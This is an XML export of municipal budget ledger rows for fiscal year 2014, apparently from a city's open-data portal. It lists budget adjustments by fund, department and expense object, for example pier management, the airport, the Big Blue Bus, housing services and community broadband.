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<row _id="7310"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409043.0</object><object_description>ELEM SPORTS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-54654.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-54654.0</total></row>
<row _id="7311"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409062.0</object><object_description>SMSE-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-7636.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7636.0</total></row>
<row _id="7312"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>713.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>713.0</total></row>
<row _id="7313"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="7314"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="7315"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>49261.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49261.0</total></row>
<row _id="7316"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>42081.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42081.0</total></row>
<row _id="7317"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>77</fund_id><fund_name>Parking Authority Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>236</division_id><division_name>PARKING AUTHORITY</division_name><object>404230.0</object><object_description>P/A BD FUND INT-DEP/INVEST</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7318"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3466.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3466.0</total></row>
<row _id="7319"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>77137.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77137.0</total></row>
<row _id="7320"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-5875.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5875.0</total></row>
<row _id="7321"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>588030.0</object><object_description>COMPUTER EQUIPMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>75000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75000.0</total></row>
<row _id="7322"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1984.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1984.0</total></row>
<row _id="7323"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-3RD ST &amp; MISC</object_description><category_code>800.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>29050.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29050.0</total></row>
<row _id="7324"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-NATURAL GAS-CITY HAL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2100.0</total></row>
<row _id="7325"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522860.0</object><object_description>FUEL MANAGEMENT SYSTEMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2431.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2431.0</total></row>
<row _id="7326"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26031.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26031.0</total></row>
<row _id="7327"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>800000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>800000.0</total></row>
<row _id="7328"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17760.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17760.0</total></row>
<row _id="7329"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>283843.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>283843.0</total></row>
<row _id="7330"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19963.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19963.0</total></row>
<row _id="7331"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2900.0</total></row>
<row _id="7332"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522125.0</object><object_description>UTIL - NATURAL GAS - PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20900.0</total></row>
<row _id="7333"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533216.0</object><object_description>BLDG/CUSTODIAL SUPPLIES - LIB</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>67120.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>67120.0</total></row>
<row _id="7334"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>35960.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35960.0</total></row>
<row _id="7335"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>26147.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26147.0</total></row>
<row _id="7336"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1650.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1650.0</total></row>
<row _id="7337"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>120312.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>120312.0</total></row>
<row _id="7338"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1045.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1045.0</total></row>
<row _id="7339"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>542210.0</object><object_description>PUBLICATIONS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>182291.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>182291.0</total></row>
<row _id="7340"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>198395.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>198395.0</total></row>
<row _id="7341"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560050.0</object><object_description>TOOL ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>27675.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27675.0</total></row>
<row _id="7342"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>408150.0</object><object_description>ALT FUEL TAX CREDIT</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-158150.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-158150.0</total></row>
<row _id="7343"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-46728.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-46728.0</total></row>
<row _id="7344"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-47770.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-47770.0</total></row>
<row _id="7345"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-13134.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-13134.0</total></row>
<row _id="7346"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7347"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7348"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7349"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7350"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>404900.0</object><object_description>TMP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7351"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 - FSS FORFEITURES</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-5500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5500.0</total></row>
<row _id="7352"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10771.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10771.0</total></row>
<row _id="7353"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="7354"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403721.0</object><object_description>SERIAL INEBRIATE GRANT LEASING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-335000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-335000.0</total></row>
<row _id="7355"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403720.0</object><object_description>SERIAL INEBRIATE GRANT ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-26147.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-26147.0</total></row>
<row _id="7356"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>405620.0</object><object_description>PRIVATE COACHING FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1500.0</total></row>
<row _id="7357"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>15</fund_id><fund_name>Low/Mod Incme Housing Asset Fd</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577260.0</object><object_description>SENIOR HOUSING VOUCHER PRG</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
